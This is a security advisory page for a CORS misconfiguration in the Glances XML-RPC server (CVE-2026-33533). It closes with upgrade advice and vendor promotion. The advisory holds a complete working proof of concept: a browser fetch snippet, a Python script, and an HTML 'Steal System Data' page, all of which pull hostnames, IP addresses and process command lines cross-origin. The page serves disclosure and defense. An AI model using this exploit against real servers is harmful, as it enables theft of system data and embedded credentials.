CVE-2026-33533

CVE-2026-33533 is a high-severity security vulnerability in Glances (pip), affecting versions < 4.5.3. It is fixed in 4.5.3.

Summary

The Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).

Details

File: glances/server.py, class GlancesXMLRPCHandler, line 41

def send_my_headers(self):
    self.send_header("Access-Control-Allow-Origin", "*")

This header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.

The REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.

PoC

Prerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.

Step 1. Start the Glances XML-RPC server on the target machine:

glances -s -p 61209

Step 2. From any machine, run the Python PoC to confirm the issue server-side:

python3 poc_test.py TARGET_IP 61209

Step 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click "Steal System Data". The page will display the full system monitoring data retrieved cross-origin.

Step 4. Alternatively, paste this into any browser console while on any website:

fetch("http://TARGET_IP:61209/RPC2", {
    method: "POST",
    headers: {"Content-Type": "text/plain"},
    body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
}).then(r => r.text()).then(d => {
    let m = d.match(/<string>([\s\S]*?)<\/string>/);
    let data = JSON.parse(m[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&"));
    console.log("Hostname:", data.system.hostname);
    console.log("Processes:", data.processlist.length);
    console.log("First process cmdline:", data.processlist[0].cmdline);
});

Verified output from testing on Glances 4.5.3_dev01 (current main branch):

[+] HTTP Status: 200
[+] Access-Control-Allow-Origin: *
[+] Successfully retrieved system data cross-origin.
Hostname:     claude
OS:           Linux 6.8.0-1024-gcp
Process count: 125
Top processes include full command lines with arguments
Total data categories exposed: 35

Impact

Any user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.

poc_test.py

#!/usr/bin/env python3
"""
PoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration

This script simulates the browser-based attack by sending a POST request with
Content-Type: text/plain (CORS simple request) to the Glances XML-RPC server.

The server responds with Access-Control-Allow-Origin: * which allows any
webpage to read the full response containing system monitoring data.

Usage: python3 poc_test.py [target_host] [target_port]
Default: python3 poc_test.py 127.0.0.1 61209
"""

import http.client
import json
import sys
import xmlrpc.client


def main():
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209

    print(f"[*] Target: {host}:{port}")
    print(f"[*] Simulating cross-origin request (Content-Type: text/plain)")
    print()

    conn = http.client.HTTPConnection(host, port, timeout=10)

    # XML-RPC payload sent as text/plain to avoid CORS preflight
    payload = '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
    headers = {
        "Content-Type": "text/plain",
        "Origin": "http://evil-attacker.com",
    }

    try:
        conn.request("POST", "/RPC2", body=payload, headers=headers)
        response = conn.getresponse()
    except Exception as e:
        print(f"[-] Connection failed: {e}")
        sys.exit(1)

    print(f"[+] HTTP Status: {response.status}")
    cors = response.getheader("Access-Control-Allow-Origin")
    print(f"[+] Access-Control-Allow-Origin: {cors}")
    print()

    if cors != "*":
        print("[-] CORS header is not wildcard. Attack would not work.")
        sys.exit(1)

    data = response.read()
    result = xmlrpc.client.loads(data)[0][0]
    parsed = json.loads(result)

    print("[+] Successfully retrieved system data cross-origin.")
    print()
    print("=== Stolen System Information ===")
    print()

    system = parsed.get("system", {})
    print(f"Hostname:     {system.get('hostname', 'N/A')}")
    print(f"OS:           {system.get('os_name', 'N/A')} {system.get('os_version', '')}")
    print(f"Platform:     {system.get('platform', 'N/A')}")
    print(f"Distribution: {system.get('linux_distro', 'N/A')}")
    print()

    cpu = parsed.get("cpu", {})
    print(f"CPU user:     {cpu.get('user', 'N/A')}%")
    print(f"CPU system:   {cpu.get('system', 'N/A')}%")
    print(f"CPU cores:    {cpu.get('cpucore', 'N/A')}")
    print()

    mem = parsed.get("mem", {})
    total_mb = round((mem.get("total", 0)) / 1024 / 1024)
    used_mb = round((mem.get("used", 0)) / 1024 / 1024)
    print(f"Memory:       {used_mb}MB / {total_mb}MB ({mem.get('percent', 'N/A')}%)")
    print()

    ip_info = parsed.get("ip", {})
    print(f"IP Address:   {ip_info.get('address', 'N/A')}")
    print(f"Subnet Mask:  {ip_info.get('mask', 'N/A')}")
    print()

    procs = parsed.get("processlist", [])
    print(f"Process count: {len(procs)}")
    print()
    print("Top 5 processes by CPU (with command lines):")
    for p in sorted(procs, key=lambda x: x.get("cpu_percent", 0), reverse=True)[:5]:
        cmdline = p.get("cmdline", [])
        cmd = " ".join(cmdline) if isinstance(cmdline, list) else str(cmdline)
        print(f"  PID {p.get('pid'):>6} | {p.get('name', 'N/A'):>20} | CPU {p.get('cpu_percent', 0):>5.1f}% | {cmd[:100]}")

    print()
    print(f"[+] Total data categories exposed: {len(parsed.keys())}")
    print(f"[+] Categories: {', '.join(sorted(parsed.keys()))}")


if __name__ == "__main__":
    main()

poc_cors_xmlrpc.html

<!DOCTYPE html>
<html>
<head><title>Glances XML-RPC CORS PoC</title></head>
<body>
<h2>Glances XML-RPC Cross-Origin Data Theft PoC</h2>
<p>Target: <input id="target" value="http://127.0.0.1:61209" size="40"></p>
<button onclick="exploit()">Steal System Data</button>
<pre id="output" style="background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;"></pre>
<script>
async function exploit() {
    const target = document.getElementById("target").value;
    const out = document.getElementById("output");
    out.textContent = "[*] Sending cross-origin XML-RPC request to " + target + "/RPC2\n";
    out.textContent += "[*] Content-Type: text/plain (CORS simple request, no preflight)\n\n";

    try {
        const resp = await fetch(target + "/RPC2", {
            method: "POST",
            headers: {"Content-Type": "text/plain"},
            body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
        });

        out.textContent += "[+] Response status: " + resp.status + "\n";
        out.textContent += "[+] CORS header: " + resp.headers.get("Access-Control-Allow-Origin") + "\n\n";

        const xml = await resp.text();
        const match = xml.match(/<string>([\s\S]*?)<\/string>/);
        if (match) {
            const data = JSON.parse(match[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&"));
            out.textContent += "[+] === STOLEN SYSTEM DATA ===\n\n";
            out.textContent += "Hostname: " + (data.system?.hostname || "N/A") + "\n";
            out.textContent += "OS: " + (data.system?.os_name || "N/A") + " " + (data.system?.os_version || "") + "\n";
            out.textContent += "CPU cores: " + (data.cpu?.cpucore || "N/A") + "\n";
            out.textContent += "CPU usage: " + (data.cpu?.user || "N/A") + "% user\n";
            out.textContent += "Memory: " + Math.round((data.mem?.used||0)/1024/1024) + "MB / " + Math.round((data.mem?.total||0)/1024/1024) + "MB\n";
            out.textContent += "Processes: " + (data.processlist?.length || 0) + "\n\n";

            if (data.processlist?.length > 0) {
                out.textContent += "[+] Top 10 processes (with full command lines):\n";
                data.processlist.slice(0, 10).forEach(p => {
                    const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(" ") : (p.cmdline || "");
                    out.textContent += "  PID " + p.pid + " | " + p.name + " | " + cmd.substring(0,120) + "\n";
                });
            }

            if (data.network?.length > 0) {
                out.textContent += "\n[+] Network interfaces:\n";
                data.network.forEach(n => {
                    out.textContent += "  " + n.interface_name + " | RX: " + n.bytes_recv + " TX: " + n.bytes_sent + "\n";
                });
            }

            if (data.fs?.length > 0) {
                out.textContent += "\n[+] Filesystems:\n";
                data.fs.forEach(f => {
                    out.textContent += "  " + f.mnt_point + " | " + f.device_name + " | " + f.percent + "% used\n";
                });
            }
        }
    } catch(e) {
        out.textContent += "[-] Error: " + e.message + "\n";
    }
}
</script>
</body>
</html>

Affected versions

Glances (< 4.5.3)

Security releases

Glances → 4.5.3 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade Glances to 4.5.3 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-33533? CVE-2026-33533 is a high-severity security vulnerability in Glances (pip), affecting versions < 4.5.3. It is fixed in 4.5.3.
  2. Which versions of Glances are affected by CVE-2026-33533? Glances (pip) versions < 4.5.3 is affected.
  3. Is there a fix for CVE-2026-33533? Yes. CVE-2026-33533 is fixed in 4.5.3. Upgrade to this version or later.
  4. Is CVE-2026-33533 exploitable, and should I be worried? Whether CVE-2026-33533 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-33533 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-33533? Upgrade Glances to 4.5.3 or later.

Other vulnerabilities in Glances

CVE-2026-53925CVE-2026-46611CVE-2026-46608CVE-2026-46607CVE-2026-46606

Stop the waste.
Protect your environment with Kodem.